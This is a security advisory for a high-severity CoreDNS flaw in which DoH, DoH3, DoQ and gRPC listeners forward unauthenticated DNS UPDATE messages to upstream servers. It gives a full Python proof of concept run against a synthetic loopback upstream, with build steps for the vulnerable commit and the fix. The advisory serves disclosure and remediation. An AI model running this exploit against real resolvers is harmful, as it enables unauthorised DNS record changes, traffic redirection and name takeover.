GHSA-9gm5-9rfh-m6vx: High severity go/github.com/coredns/coredns vulnerability
Summary
CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.
If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.
Details
The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:
- DoH and DoH3 - DoQ - DNS-over-gRPC
CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.
By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.
PoC
The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.
Clone the repository and build the server:
bash git clone git@github.com:coredns/coredns.git cd coredns git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main go build -tags=grpcnotrace -o coredns .
Save this as Corefile.poc:
text https://.:8053 { bind 127.0.0.1 tls plugin/tls/testcert.pem plugin/tls/testkey.pem forward . 127.0.0.1:15354 }
Save this as poc.py:
python #!/usr/bin/env python3 import argparse import http.client import queue import socket import ssl import struct import threading
OPCODEUPDATE = 5 TYPEA = 1 CLASSIN = 1
def encodename(name): return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"
def updatemessage(): zone = encodename("example.com.") + struct.pack("!HH", 6, CLASSIN) update = ( encodename("foo.example.com.") + struct.pack("!HHIH", TYPEA, CLASSIN, 300, 4) + socket.inetaton("192.0.2.123") ) header = struct.pack("!HHHHHH", 0x1234, OPCODEUPDATE << 11, 1, 0, 1, 0) return header + zone + update
def readname(message, offset): labels = [] end = None seen = set() while True: if offset >= len(message) or offset in seen: raise ValueError("invalid DNS name") seen.add(offset) length = message[offset] if length & 0xC0 == 0xC0: if offset + 1 >= len(message): raise ValueError("truncated compression pointer") if end is None: end = offset + 2 offset = ((length & 0x3F) << 8) | message[offset + 1] continue offset += 1 if length == 0: return ".".join(labels) + ".", end if end is not None else offset if length & 0xC0 or offset + length > len(message): raise ValueError("invalid DNS label") labels.append(message[offset : offset + length].decode("ascii")) offset += length
def questionend(message, count): offset = 12 for in range(count): , offset = readname(message, offset) offset += 4 if offset > len(message): raise ValueError("truncated question") return offset
def parseupdate(message): , flags, qdcount, , nscount, = struct.unpackfrom("!HHHHHH", message) if (flags >> 11) & 0xF != OPCODEUPDATE or qdcount != 1 or nscount < 1: return None offset = questionend(message, qdcount) name, offset = readname(message, offset) rrtype, rrclass, ttl, rdlength = struct.unpackfrom("!HHIH", message, offset) offset += 10 rdata = message[offset : offset + rdlength] if rrtype != TYPEA or rrclass != CLASSIN or len(rdata) != 4: return None return name, ttl, socket.inetntoa(rdata)
def responsefor(message): ident, flags, qdcount, , , = struct.unpackfrom("!HHHHHH", message) end = questionend(message, qdcount) responseflags = flags | 0x8000 return struct.pack("!HHHHHH", ident, responseflags, qdcount, 0, 0, 0) + message[12:end]
def handlemessage(message, peer, received): try: update = parseupdate(message) response = responsefor(message) except (ValueError, struct.error): return None if update is not None: received.put((peer, update)) return response
def serveudp(sock, received, stopped): while not stopped.isset(): try: message, peer = sock.recvfrom(65535) except socket.timeout: continue except OSError: return response = handlemessage(message, peer, received) if response is not None: sock.sendto(response, peer)
def recvexact(connection, size, stopped): data = bytearray() while len(data) < size and not stopped.isset(): try: chunk = connection.recv(size - len(data)) except socket.timeout: continue if not chunk: return None data.extend(chunk) return bytes(data) if len(data) == size else None
def servetcp(sock, received, stopped): while not stopped.isset(): try: connection, peer = sock.accept() except socket.timeout: continue except OSError: return with connection: connection.settimeout(0.1) while not stopped.isset(): length = recvexact(connection, 2, stopped) if length is None: break message = recvexact(connection, struct.unpack("!H", length)[0], stopped) if message is None: break response = handlemessage(message, peer, received) if response is not None: connection.sendall(struct.pack("!H", len(response)) + response)
def senddoh(host, port, payload, timeout): context = ssl.createunverifiedcontext() connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() body = response.read() return response.status, len(body) finally: connection.close()
def main(): parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH") parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8053) parser.addargument("--upstream-host", default="127.0.0.1") parser.addargument("--upstream-port", type=int, default=15354) parser.addargument("--timeout", type=float, default=2.0) parser.addargument("--expect", choices=("forwarded", "blocked", "either"), default="either") args = parser.parseargs()
received = queue.Queue() stopped = threading.Event() udpsock = socket.socket(socket.AFINET, socket.SOCKDGRAM) udpsock.settimeout(0.1) udpsock.bind((args.upstreamhost, args.upstreamport)) tcpsock = socket.socket(socket.AFINET, socket.SOCKSTREAM) tcpsock.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) tcpsock.settimeout(0.1) tcpsock.bind((args.upstreamhost, args.upstreamport)) tcpsock.listen() threads = [ threading.Thread(target=serveudp, args=(udpsock, received, stopped), daemon=True), threading.Thread(target=servetcp, args=(tcpsock, received, stopped), daemon=True), ] for thread in threads: thread.start()
payload = updatemessage() try: status, responsebytes = senddoh(args.host, args.port, payload, args.timeout) try: peer, update = received.get(timeout=args.timeout) except queue.Empty: peer = update = None finally: stopped.set() udpsock.close() tcpsock.close() for thread in threads: thread.join(timeout=1)
print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload)) print("httpstatus=%d responsebytes=%d" % (status, responsebytes)) if update is None: result = "blocked" print("upstreamreceivedupdate=false") else: result = "forwarded" name, ttl, address = update print("upstreamreceivedupdate=true source=%s:%d" % peer) print("upstreamrecord=%s %d IN A %s" % (name, ttl, address)) print("result=%s" % result)
if args.expect != "either" and args.expect != result: raise SystemExit("expected %s, got %s" % (args.expect, result))
if name == "main": main()
Start the vulnerable revision:
sh ./coredns -conf Corefile.poc
In a second terminal, run the probe:
console $ python3 poc.py --expect forwarded payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 httpstatus=200 responsebytes=29 upstreamreceivedupdate=true source=127.0.0.1:52391 upstreamrecord=foo.example.com. 300 IN A 192.0.2.123 result=forwarded
The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.
For comparison, build and start CoreDNS with the fix:
sh git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main go build -tags=grpcnotrace -o coredns-fixed . ./coredns-fixed -conf Corefile.poc
The same probe is rejected before reaching the synthetic upstream:
console $ python3 poc.py --expect blocked payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 httpstatus=400 responsebytes=16 upstreamreceivedupdate=false result=blocked
Impact
Exploitation requires all of the following:
- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener - the selected proxy/forward target accepts RFC 2136 UPDATE - the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG
The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/coredns/corednsto a version that resolves this vulnerability.Fixed in 1.14.7 - Upgrade
Upgrade
corednsto a version that resolves this vulnerability.Patch 530b0a5ff2ad68cc0421f10dd93568945cc671c9
Event History
Frequently Asked Questions
Which deployments are realistically exposed?
Exposure requires CoreDNS to accept DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, or DNS-over-gRPC requests and to pass requests through the proxy or forward plugin to an update-capable upstream DNS server. The upstream must trust CoreDNS’s source address or authenticated connection rather than requiring end-to-end TSIG.
What does an attacker need to exploit this?
An unauthenticated client needs network access to an affected CoreDNS listener. They can submit an RFC 2136 UPDATE that CoreDNS forwards unchanged to the trusted upstream.
Are all CoreDNS DNS transports affected?
No. UDP, TCP, and DNS-over-TLS reject UPDATE opcodes before plugin dispatch, while DoH, DoH3, DoQ, and DNS-over-gRPC did not apply the same request policy.
What is the practical impact if the upstream accepts the forwarded update?
An attacker can add, replace, or delete DNS records on the upstream DNS server. The issue affects integrity; the provided vector lists no confidentiality or availability impact.